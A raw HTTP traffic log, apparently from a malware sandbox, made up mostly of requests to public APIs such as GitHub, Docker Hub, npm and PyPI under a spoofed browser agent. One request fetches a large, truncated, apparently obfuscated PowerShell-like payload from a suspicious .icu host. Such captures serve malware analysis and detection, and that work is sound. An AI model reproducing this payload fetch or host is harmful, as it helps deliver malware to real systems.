heroku-nel="https://nel.heroku.com/reports?s=2UZlQXE7HjvWiy2LdmjLeKpbhofgDEZzo1MyQhXYNbI%3D&sid=e11707d5-02a7-43ef-b45e-2cf4d2036f7d&ts=1777046547" Server: cloudflare vary: Origin Accept-Encoding via: 2.0 heroku-router x-content-type-options: nosniff x-powered-by: Express x-ratelimit-limit: 1000 x-ratelimit-remaining: 998 x-ratelimit-reset: 1777046596 Age: 24621 Server-Timing: cfCacheStatus;desc="HIT" Server-Timing: cfEdge;dur=7 cfOrigin;dur=0 cf-cache-status: HIT Content-Encoding: gzip CF-RAY: 9f4a4d885dbb4d21-SJC alt-svc: h3=":443"; ma=86400 with response body ==>7B0A202022757365724964223A20372C0A2020226964223A203133302C0A2020227469746C65223A20226E756C6C6120616C6971756964206576656E69657420....... "GET /chai HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110 Host: registry.npmjs.org Accept-Encoding: gzip, deflate Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Date: Thu 30 Apr 2026 23:24:58 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: keep-alive set-cookie: _cfuvid=mYyusrDOCfM55ZmBrGaGDG4noIWxkePyXJQPC2AFojg-1777591498.0934138-1.0.1.1-Byes1jXmyoQsh6RVYI0dXBi_8IlM6CVMaNFK7weoCoA; HttpOnly; SameSite=None; Secure; Path=/; Domain=npmjs.org CF-Ray: 9f4a4d8f1effd011-SJC CF-Cache-Status: HIT Access-Control-Allow-Origin: * Age: 274 Cache-Control: public max-age=300 Vary: accept-encoding accept Last-Modified: Tue 13 Jan 2026 14:19:17 GMT Server: cloudflare ETag: W/"41f454264e13df3464a6263bbf4cd305" Content-Encoding: gzip with response body ==>7B225F6964223A2263686169222C225F726576223A223538332D3431346562313263343133623134613863643039306532393462643133626434222C226E616D....... "GET /repos/google/ExoPlayer/contributors HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110 Host: api.github.com Accept-Encoding: gzip, deflate Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Date: Thu 30 Apr 2026 23:24:59 GMT Content-Type: application/json; charset=utf-8 Cache-Control: public max-age=60 s-maxage=60 Vary: Accept Accept-Encoding Accept X-Requested-With ETag: W/"0f9f38c22b7fcce648fe15d375a37ade9cf2e6743e76d7c949f61de57bfd5184" Last-Modified: Thu 30 Apr 2026 18:12:13 GMT X-GitHub-Media-Type: github.v3; format=json Link: ; rel="next" ; rel="last" x-github-api-version-selected: 2022-11-28 Access-Control-Expose-Headers: ETag Link Location Retry-After X-GitHub-OTP X-RateLimit-Limit X-RateLimit-Remaining X-RateLimit-Used X-RateLimit-Resource X-RateLimit-Reset X-OAuth-Scopes X-Accepted-OAuth-Scopes X-Poll-Interval X-GitHub-Media-Type X-GitHub-SSO X-GitHub-Request-Id Deprecation Sunset Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: origin-when-cross-origin strict-origin-when-cross-origin Content-Security-Policy: default-src 'none' Content-Encoding: gzip Server: github.com Accept-Ranges: bytes X-RateLimit-Limit: 60 X-RateLimit-Remaining: 59 X-RateLimit-Used: 1 X-RateLimit-Resource: core X-RateLimit-Reset: 1777595099 Transfer-Encoding: chunked X-GitHub-Request-Id: D065:33A109:BDD3FF6:2F3D54E7:69F3E4CB with response body ==>5B0A20207B0A20202020226C6F67696E223A20226F6A773238222C0A20202020226964223A20373838313537322C0A20202020226E6F64655F6964223A20224D....... "GET /repos/laravel/laravel/commits HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110 Host: api.github.com Accept-Encoding: gzip, deflate" Response ==> HTTP/1.1 200 OK Date: Thu 30 Apr 2026 23:25:00 GMT Content-Type: application/json; charset=utf-8 Cache-Control: public max-age=60 s-maxage=60 Vary: Accept Accept-Encoding Accept X-Requested-With ETag: W/"bb9e6bdd044f2073468828a661b8844a0a41da5879db6664cb274f9ae05d3e10" Last-Modified: Thu 30 Apr 2026 11:32:17 GMT X-GitHub-Media-Type: github.v3; format=json Link: ; rel="next" ; rel="last" x-github-api-version-selected: 2022-11-28 Access-Control-Expose-Headers: ETag Link Location Retry-After X-GitHub-OTP X-RateLimit-Limit X-RateLimit-Remaining X-RateLimit-Used X-RateLimit-Resource X-RateLimit-Reset X-OAuth-Scopes X-Accepted-OAuth-Scopes X-Poll-Interval X-GitHub-Media-Type X-GitHub-SSO X-GitHub-Request-Id Deprecation Sunset Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: origin-when-cross-origin strict-origin-when-cross-origin Content-Security-Policy: default-src 'none' Content-Encoding: gzip Server: github.com Accept-Ranges: bytes X-RateLimit-Limit: 60 X-RateLimit-Remaining: 58 X-RateLimit-Used: 2 X-RateLimit-Resource: core X-RateLimit-Reset: 1777595099 Transfer-Encoding: chunked X-GitHub-Request-Id: D065:33A109:BDD46FA:2F3D71AD:69F3E4CB with response body ==>5B0A20207B0A2020202022736861223A202263623664643762336661613765303638316266366237396363313833623530633939363532653363222C0A202020....... "GET /v2/repositories/library/golang/tags/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110 Host: hub.docker.com Accept-Encoding: gzip, deflate Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Date: Thu 30 Apr 2026 23:25:02 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: keep-alive x-ratelimit-limit: 180 x-ratelimit-reset: 1777591561 x-ratelimit-remaining: 180 x-ratelimit-ip: 64.124.12.162 x-trace-id: 201fb562ba5f856556630f887d3c7628 x-trace-sampled: true x-frame-options: deny x-content-type-options: nosniff x-xss-protection: 1; mode=block set-cookie: __cf_bm=xBGVO5bl2C_k8f.JwkI_xAfxVEjWCv6uPewzGafYOKM-1777591501.8288062-1.0.1.1-6JOk2c._yoXJvvtJU2L4tWNWwQJZ0JVYlteFFSVshkTpNYLPyrbcWkETqWDqjNKIcGoabRBeAtjiduZnTdQnETVNQ71ttl5xMX2EYLoK1.fgavH1OhFoikATn16XZ_Bh; HttpOnly; Secure; Path=/; Domain=hub.docker.com; Expires=Thu 30 Apr 2026 23:55:02 GMT strict-transport-security: max-age=31536000 cf-cache-status: DYNAMIC vary: accept-encoding Server: cloudflare CF-RAY: 9f4a4da66e8aa249-SJC with response body ==>7B22636F756E74223A343637392C226E657874223A2268747470733A2F2F6875622E646F636B65722E636F6D2F76322F7265706F7369746F726965732F6C6962....... "GET /installazurecliwindows HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110 Host: aka.ms Accept-Encoding: gzip, deflate Connection: Keep-Alive" Response ==> HTTP/1.1 301 Moved Permanently Content-Length: 0 Server: Kestrel Location: https://azcliprod.blob.core.windows.net/msi/azure-cli-2.85.0.msi Request-Context: appId=cid-v1:d94c0f68-64bf-4036-8409-a0e761bb7ee1 X-Response-Cache-Status: True Expires: Thu 30 Apr 2026 23:25:02 GMT Cache-Control: max-age=0 no-cache no-store Pragma: no-cache Date: Thu 30 Apr 2026 23:25:02 GMT Connection: keep-alive Strict-Transport-Security: max-age=31536000 ; includeSubDomains with no response body "GET /sdfkkiso87 HTTP/1.1 Host: grantt.qumarox.icu Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Date: Thu 30 Apr 2026 23:25:04 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 4920103 Connection: keep-alive X-Powered-By: Express Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} ETag: W/"4b1327-vVKBUL+jTtrlqKuqBIVBBhA4Mkg" Set-Cookie: connect.sid=s%3Acak8XHxakJnXA4a2ZV4va0GB-He1jQyR.dc2P5ByF3Vhrq6n05cQL8LyZz%2B0Q8HuKCDGwMfKfhG4; Path=/; HttpOnly Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=g6IUMCRLZGwlaiXrxjsDLCZczVLD4q7uZbBNbarhwzwNvQEzQEGAodWm6yxayVUdy9UQrh8DPO7sWhgiov13Z3Yj%2BgDLj4buzmXlKOIeZIIXBjyJd0V9unNqFtN8iO6fvxjXPs8%3D"}]} cf-cache-status: DYNAMIC Speculation-Rules: "/cdn-cgi/speculation" Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=12 cfOrigin;dur=341 Server: cloudflare CF-RAY: 9f4a4db299a978eb-SJC alt-svc: h3=":443"; ma=86400 with response body ==>24584644336E575A643254786D203D203534350D0A246D53304F4761677A43344A4E203D203539360D0A247841374B31634D394F585361203D203732300D0A24....... "GET /todos/26 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110 Host: jsonplaceholder.typicode.com Accept-Encoding: gzip, deflate" Response ==> HTTP/1.1 200 OK Date: Thu 30 Apr 2026 23:25:05 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive access-control-allow-credentials: true Cache-Control: max-age=43200 etag: W/"52-ii/xE6R/7gcOIqiHTEursiEBVQY" expires: -1 nel: {"report_to":"heroku-nel" "response_headers":["Via"] "max_age":3600 "success_fraction":0.01 "failure_fraction":0.1} pragma: no-cache report-to: {"group":"heroku-nel" "endpoints":[{"url":"https://nel.heroku.com/reports?s=h8B%2BXVFyaMnJ7cRbSzxYVGD4HtHIVJD4YDRlYvV4dEc%3D\u0026sid=e11707d5-02a7-43ef-b45e-2cf4d2036f7d\u0026ts=1777479995"}] "max_age":3600} reporting-endpoints: heroku-nel="https://nel.heroku.com/reports?s=h8B%2BXVFyaMnJ7cRbSzxYVGD4HtHIVJD4YDRlYvV4dEc%3D&sid=e11707d5-02a7-43ef-b45e-2cf4d2036f7d&ts=1777479995" Server: cloudflare vary: Origin Accept-Encoding via: 2.0 heroku-router x-content-type-options: nosniff x-powered-by: Express x-ratelimit-limit: 1000 x-ratelimit-remaining: 999 x-ratelimit-reset: 1777479996 Age: 28787 Server-Timing: cfCacheStatus;desc="HIT" Server-Timing: cfEdge;dur=7 cfOrigin;dur=0 cf-cache-status: HIT Content-Encoding: gzip CF-RAY: 9f4a4dbbe9ad2271-SJC alt-svc: h3=":443"; ma=86400 with response body ==>7B0A202022757365724964223A20322C0A2020226964223A2032362C0A2020227469746C65223A2022616C697175616D20617574207175617369222C0A202022....... "GET /v2/repositories/library/openjdk/tags/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110 Host: hub.docker.com Accept-Encoding: gzip, deflate" Response ==> HTTP/1.1 200 OK Date: Thu 30 Apr 2026 23:25:06 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: keep-alive x-ratelimit-limit: 180 x-ratelimit-reset: 1777591566 x-ratelimit-remaining: 179 x-ratelimit-ip: 64.124.12.162 x-trace-id: c20a6a3526b69948d2978d5b91f06f8c x-trace-sampled: true x-frame-options: deny x-content-type-options: nosniff x-xss-protection: 1; mode=block set-cookie: __cf_bm=URIKtBfhOS6MmyRk2i9xZIPDVOlciB8qrn_kMeIY9xk-1777591506.5234234-1.0.1.1-gSFWb5C13oKkNmK6pYfVFBagu_W89NCV_r4hxFeGdQtsKyw3gzJrqrqqUczHz4.F9ooRdWM4M54Gpahr0hC7ZPmMTWH.Btu9eannbEIKTR2k1NfObfB.T36vW5w2fvk7; HttpOnly; Secure; Path=/; Domain=hub.docker.com; Expires=Thu 30 Apr 2026 23:55:06 GMT strict-transport-security: max-age=31536000 cf-cache-status: DYNAMIC vary: accept-encoding Server: cloudflare CF-RAY: 9f4a4dc3ce232599-SJC with response body ==>7B22636F756E74223A31363230322C226E657874223A2268747470733A2F2F6875622E646F636B65722E636F6D2F76322F7265706F7369746F726965732F6C69....... "GET /posts/17 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110 Host: jsonplaceholder.typicode.com Accept-Encoding: gzip, deflate" Response ==> HTTP/1.1 200 OK Date: Thu 30 Apr 2026 23:25:07 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive access-control-allow-credentials: true Cache-Control: max-age=43200 etag: W/"f6-Y7y9zgdEq0WndoXZmQZBsN4+z14" expires: -1 nel: {"report_to":"heroku-nel" "response_headers":["Via"] "max_age":3600 "success_fraction":0.01 "failure_fraction":0.1} pragma: no-cache report-to: {"group":"heroku-nel" "endpoints":[{"url":"https://nel.heroku.com/reports?s=RS118Qc2gnKDvYYctyb95QDS1tTdn9PAlFvRSldoSuM%3D\u0026sid=e11707d5-02a7-43ef-b45e-2cf4d2036f7d\u0026ts=1777479182"}] "max_age":3600} reporting-endpoints: heroku-nel="https://nel.heroku.com/reports?s=RS118Qc2gnKDvYYctyb95QDS1tTdn9PAlFvRSldoSuM%3D&sid=e11707d5-02a7-43ef-b45e-2cf4d2036f7d&ts=1777479182" Server: cloudflare vary: Origin Accept-Encoding via: 2.0 heroku-router x-content-type-options: nosniff x-powered-by: Express x-ratelimit-limit: 1000 x-ratelimit-remaining: 992 x-ratelimit-reset: 1777479216 Server-Timing: cfCacheStatus;desc="REVALIDATED" Server-Timing: cfEdge;dur=8 cfOrigin;dur=185 cf-cache-status: REVALIDATED Content-Encoding: gzip CF-RAY: 9f4a4dc96dcb2271-SJC alt-svc: h3=":443"; ma=86400 with response body ==>7B0A202022757365724964223A20322C0A2020226964223A2031372C0A2020227469746C65223A2022667567697420766F6C757074617320736564206D6F6C65....... "GET /repos/date-fns/date-fns/contributors?ref=4668395269973 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110 Host: api.github.com Accept-Encoding: gzip, deflate" Response ==> HTTP/1.1 200 OK Date: Thu 30 Apr 2026 23:25:08 GMT Content-Type: application/json; charset=utf-8 Cache-Control: public max-age=60 s-maxage=60 Vary: Accept Accept-Encoding Accept X-Requested-With ETag: W/"094d586dc58c5d505848ec69edaf3b84ecbc87abb13119f47eb299abd76560ec" Last-Modified: Thu 30 Apr 2026 11:00:51 GMT X-GitHub-Media-Type: github.v3; format=json Link: ; rel="next" ; rel="last" x-github-api-version-selected: 2022-11-28 Access-Control-Expose-Headers: ETag Link Location Retry-After X-GitHub-OTP X-RateLimit-Limit X-RateLimit-Remaining X-RateLimit-Used X-RateLimit-Resource X-RateLimit-Reset X-OAuth-Scopes X-Accepted-OAuth-Scopes X-Poll-Interval X-GitHub-Media-Type X-GitHub-SSO X-GitHub-Request-Id Deprecation Sunset Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: origin-when-cross-origin strict-origin-when-cross-origin Content-Security-Policy: default-src 'none' Content-Encoding: gzip Server: github.com Accept-Ranges: bytes X-RateLimit-Limit: 60 X-RateLimit-Remaining: 57 X-RateLimit-Used: 3 X-RateLimit-Resource: core X-RateLimit-Reset: 1777595099 Transfer-Encoding: chunked X-GitHub-Request-Id: A184:48B84:5F20722:17AA2791:69F3E4D4 with response body ==>5B0A20207B0A20202020226C6F67696E223A20226B6F73736E6F636F7270222C0A20202020226964223A2035323230312C0A20202020226E6F64655F6964223A....... "GET /repos/saltstack/salt/releases HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110 Host: api.github.com Accept-Encoding: gzip, deflate" Response ==> HTTP/1.1 200 OK Date: Thu 30 Apr 2026 23:25:10 GMT Content-Type: application/json; charset=utf-8 Cache-Control: public max-age=60 s-maxage=60 Vary: Accept Accept-Encoding Accept X-Requested-With ETag: W/"bfd5dd33b0d0e0353b4bdaf162ca39540e502e60532b0416fc6cf5356aac630e" X-GitHub-Media-Type: github.v3; format=json Link: ; rel="next" ; rel="last" x-github-api-version-selected: 2022-11-28 Access-Control-Expose-Headers: ETag Link Location Retry-After X-GitHub-OTP X-RateLimit-Limit X-RateLimit-Remaining X-RateLimit-Used X-RateLimit-Resource X-RateLimit-Reset X-OAuth-Scopes X-Accepted-OAuth-Scopes X-Poll-Interval X-GitHub-Media-Type X-GitHub-SSO X-GitHub-Request-Id Deprecation Sunset Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: origin-when-cross-origin strict-origin-when-cross-origin Content-Security-Policy: default-src 'none' Content-Encoding: gzip Server: github.com Accept-Ranges: bytes X-RateLimit-Limit: 60 X-RateLimit-Remaining: 56 X-RateLimit-Used: 4 X-RateLimit-Resource: core X-RateLimit-Reset: 1777595099 Transfer-Encoding: chunked X-GitHub-Request-Id: A184:48B84:5F20B69:17AA399B:69F3E4D4 with response body ==>5B0A20207B0A202020202275726C223A202268747470733A2F2F6170692E6769746875622E636F6D2F7265706F732F73616C74737461636B2F73616C742F7265....... "GET /posts/95 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110 Host: jsonplaceholder.typicode.com Accept-Encoding: gzip, deflate" Response ==> HTTP/1.1 200 OK Date: Thu 30 Apr 2026 23:25:12 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive access-control-allow-credentials: true Cache-Control: max-age=43200 etag: W/"126-rrdOZSpMvdZiiYyTLDi2rkLG/Vw" expires: -1 nel: {"report_to":"heroku-nel" "response_headers":["Via"] "max_age":3600 "success_fraction":0.01 "failure_fraction":0.1} pragma: no-cache report-to: {"group":"heroku-nel" "endpoints":[{"url":"https://nel.heroku.com/reports?s=0iIAV1YUrdCxVInza3pO5W5vmCrtxw2VwREQwbdcnMg%3D\u0026sid=e11707d5-02a7-43ef-b45e-2cf4d2036f7d\u0026ts=1777527930"}] "max_age":3600} reporting-endpoints: heroku-nel="https://nel.heroku.com/reports?s=0iIAV1YUrdCxVInza3pO5W5vmCrtxw2VwREQwbdcnMg%3D&sid=e11707d5-02a7-43ef-b45e-2cf4d2036f7d&ts=1777527930" Server: cloudflare vary: Origin Accept-Encoding via: 2.0 heroku-router x-content-type-options: nosniff x-powered-by: Express x-ratelimit-limit: 1000 x-ratelimit-remaining: 976 x-ratelimit-reset: 1777527965 Server-Timing: cfCacheStatus;desc="REVALIDATED" Server-Timing: cfEdge;dur=10 cfOrigin;dur=186 cf-cache-status: REVALIDATED Content-Encoding: gzip CF-RAY: 9f4a4de61a592271-SJC alt-svc: h3=":443"; ma=86400 with response body ==>7B0A202022757365724964223A2031302C0A2020226964223A2039352C0A2020227469746C65223A20226964206D696E7573206C696265726F20696C6C756D20....... "GET /pypi/rich/json HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110 Host: pypi.org Accept-Encoding: gzip, deflate Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Connection: keep-alive Content-Length: 68565 access-control-max-age: 86400 access-control-expose-headers: X-PyPI-Last-Serial cache-control: max-age=900 public access-control-allow-origin: * content-security-policy: base-uri 'self'; connect-src 'self' https://api.github.com/repos/ https://api.github.com/search/issues https://gitlab.com/api/ https://analytics.python.org *.ethicalads.io https://api.pwnedpasswords.com https://cdn.jsdelivr.net/npm/mathjax@3.2.2/es5/sre/mathmaps/ https://2p66nmmycsj3.statuspage.io; default-src 'none'; font-src 'self'; form-action 'self' https://checkout.stripe.com https://billing.stripe.com; frame-ancestors 'none'; frame-src 'none'; img-src 'self' https://pypi-camo.freetls.fastly.net/ *.ethicalads.io ethicalads.blob.core.windows.net; script-src 'self' https://analytics.python.org *.ethicalads.io 'sha256-U3hKDidudIaxBDEzwGJApJgPEf2mWk6cfMWghrAa6i0=' https://cdn.jsdelivr.net/npm/mathjax@3.2.2/ 'sha256-1CldwzdEg2k1wTmf7s5RWVd7NMXI/7nxxjJM2C4DqII=' 'sha256-0POaN8stWYQxhzjKS+/eOfbbJ/u4YHO5ZagJvLpMypo='; style-src 'self' *.ethicalads.io 'sha256-2YHqZokjiizkHi1Zt+6ar0XJ0OeEy/egBnlm+MDMtrM=' 'sha256-47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=' 'sha256-JLEjeN9e5dGsz5475WyRaoA4eQOdNPxDIeUhclnJDCE=' 'sha256-mQyxHEuwZJqpxCw3SLmc4YOySNKXunyu2Oiz1r3/wAE=' 'sha256-OCf+kv5Asiwp++8PIevKBYSgnNLNUZvxAp4a7wMLuKA=' 'sha256-h5LOiLhk6wiJrGsG5ItM0KimwzWQH/yAcmoJDJL//bY=' etag: "vHEzm+LMAgMHnvJDP4yjGA" server: gunicorn access-control-allow-methods: GET access-control-allow-headers: Content-Type If-Match If-Modified-Since If-None-Match If-Unmodified-Since content-encoding: gzip x-pypi-last-serial: 36031239 content-type: application/json referrer-policy: origin-when-cross-origin Accept-Ranges: bytes Date: Thu 30 Apr 2026 23:25:13 GMT X-Served-By: cache-iad-kjyo7100145-IAD cache-iad-kjyo7100145-IAD cache-lax-kwhp1940045-LAX X-Cache: MISS HIT HIT X-Cache-Hits: 0 116839 0 X-Timer: S1777591513.035449 VS0 VE2 Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none Permissions-Policy: publickey-credentials-create=(self) publickey-credentials-get=(self) accelerometer=() ambient-light-sensor=() autoplay=() battery=() camera=() display-capture=() document-domain=() encrypted-media=() execution-while-not-rendered=() execution-while-out-of-viewport=() fullscreen=() gamepad=() geolocation=() gyroscope=() hid=() identity-credentials-get=() idle-detection=() local-fonts=() magnetometer=() microphone=() midi=() otp-credentials=() payment=() picture-in-picture=() screen-wake-lock=() serial=() speaker-selection=() storage-access=() usb=() web-share=() xr-spatial-tracking=() with response body ==>7B22696E666F223A7B22617574686F72223A2257696C6C204D63477567616E222C22617574686F725F656D61696C223A2277696C6C6D63677567616E40676D61....... "GET /todos/161 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110 Host: jsonplaceholder.typicode.com Accept-Encoding: gzip, deflate" Response ==> HTTP/1.1 200 OK Date: Thu 30 Apr 2026 23:25:14 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive access-control-allow-credentials: true Cache-Control: max-age=43200 etag: W/"7a-bk3VcUCGKPUFkq0DXrXqipACVrg" expires: -1 nel: {"report_to":"heroku-nel" "response_headers":["Via"] "max_age":3600 "success_fraction":0.01 "failure_fraction":0.1} pragma: no-cache report-to: {"group":"heroku-nel" "endpoints":[{"url":"https://nel.heroku.com/reports?s=lPXsF781MPgRCgiJt%2BIEX1DNFW7S7GRf%2FnzKAOEufVQ%3D\u0026sid=e11707d5-02a7-43ef-b45e-2cf4d2036f7d\u0026ts=1777130500"}] "max_age":3600} reporting-endpoints: heroku-nel="https://nel.heroku.com/reports?s=lPXsF781MPgRCgiJt%2BIEX1DNFW7S7GRf%2FnzKAOEufVQ%3D&sid=e11707d5-02a7-43ef-b45e-2cf4d2036f7d&ts=1777130500" Server: cloudflare vary: Origin Accept-Encoding via: 2.0 heroku-router x-content-type-options: nosniff x-powered-by: Express x-ratelimit-limit: 1000 x-ratelimit-remaining: 994 x-ratelimit-reset: 1777130505 Server-Timing: cfCacheStatus;desc="REVALIDATED" Server-Timing: cfEdge;dur=10 cfOrigin;dur=186 cf-cache-status: REVALIDATED Content-Encoding: gzip CF-RAY: 9f4a4df2ac2d2271-SJC alt-svc: h3=":443"; ma=86400 with response body ==>7B0A202022757365724964223A20392C0A2020226964223A203136312C0A2020227469746C65223A202265782068696320636F6E73657175756E747572206561....... "GET /repos/facebook/react-native/contributors HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110 Host: api.github.com Accept-Encoding: gzip, deflate" Response ==> HTTP/1.1 200 OK Date: Thu 30 Apr 2026 23:25:15 GMT Content-Type: application/json; charset=utf-8 Cache-Control: public max-age=60 s-maxage=60 Vary: Accept Accept-Encoding Accept X-Requested-With ETag: W/"03b2a6f94eed90e4d58990de8d4c50d840bb4e4e5acc769254a04dce493e8672" Last-Modified: Thu 30 Apr 2026 22:30:36 GMT X-GitHub-Media-Type: github.v3; format=json Link: ; rel="next" ; rel="last" x-github-api-version-selected: 2022-11-28 Access-Control-Expose-Headers: ETag Link Location Retry-After X-GitHub-OTP X-RateLimit-Limit X-RateLimit-Remaining X-RateLimit-Used X-RateLimit-Resource X-RateLimit-Reset X-OAuth-Scopes X-Accepted-OAuth-Scopes X-Poll-Interval X-GitHub-Media-Type X-GitHub-SSO X-GitHub-Request-Id Deprecation Sunset Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: origin-when-cross-origin strict-origin-when-cross-origin Content-Security-Policy: default-src 'none' Content-Encoding: gzip Server: github.com Accept-Ranges: bytes X-RateLimit-Limit: 60 X-RateLimit-Remaining: 55 X-RateLimit-Used: 5 X-RateLimit-Resource: core X-RateLimit-Reset: 1777595099 Transfer-Encoding: chunked X-GitHub-Request-Id: A184:48B84:5F22CEC:17AAC3A8:69F3E4D6 with response body ==>5B0A20207B0A20202020226C6F67696E223A20226D647661636361222C0A20202020226964223A203531353130332C0A20202020226E6F64655F6964223A2022....... "GET /v2/repositories/library/openjdk/tags/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110 Host: hub.docker.com Accept-Encoding: gzip, deflate" Response ==> HTTP/1.1 200 OK Date: Thu 30 Apr 2026 23:25:15 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: keep-alive x-ratelimit-limit: 180 x-ratelimit-reset: 1777591575 x-ratelimit-remaining: 178 x-ratelimit-ip: 64.124.12.162 x-trace-id: 51a2c4568a1f3619a9880995235fe5ae x-trace-sampled: true x-frame-options: deny x-content-type-options: nosniff x-xss-protection: 1; mode=block set-cookie: __cf_bm=CSSfrOB0zoNDY45uF8_UMz5cU91JLvDM8zL0FiWYxfo-1777591515.6159775-1.0.1.1-7s91oT_H8mBlc91j56KwhRQ4cIBNVFm8665CdeGwCO9r2_O5eU5NKo1ToVPitE9WEAdV4RR1Z0waD52uZbZ_mHem0Jg9Sy8e.86ic.ot52YPMzgzY8glnwFS7BHFp_x5; HttpOnly; Secure; Path=/; Domain=hub.docker.com; Expires=Thu 30 Apr 2026 23:55:15 GMT strict-transport-security: max-age=31536000 cf-cache-status: DYNAMIC vary: accept-encoding Server: cloudflare CF-RAY: 9f4a4dfc99eb2599-SJC with response body ==>7B22636F756E74223A31363230322C226E657874223A2268747470733A2F2F6875622E646F636B65722E636F6D2F76322F7265706F7369746F726965732F6C69....... "GET /repos/microsoft/generative-ai-for-beginners/branches HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6743.151 Safari/537.36 Edg/123.0.2436.110 Host: api.github.com Accept-Encoding: gzip, deflate" Response ==> HTTP/1.1 200 OK Date: Thu 30 Apr 2026 23:25:16 GMT Content-Type: application/json; charset=utf-8 Cache-Control: public max-age=60 s-maxage=60 Vary: Accept Accept-Encoding Accept X-Requested-With ETag: W/"8652c156eaf801f3b04b77e20b2c598143a3ace6b851ead5a1497bd967756d80" X-GitHub-Media-Type: github.v3; format=json x-github-api-version-selected: 2022-11-28 Access-Control-Expose-Headers: ETag Link Location Retry-After X-GitHub-OTP X-RateLimit-Limit X-RateLimit-Remaining X-RateLimit-Used X-RateLimit-Resource X-RateLimit-Reset X-OAuth-Scopes X-Accepted-OAuth-Scopes X-Poll-Interval X-GitHub-Media-Type X-GitHub-SSO X-GitHub-Request-Id Deprecation Sunset Access-Control-Allow-Origin: * 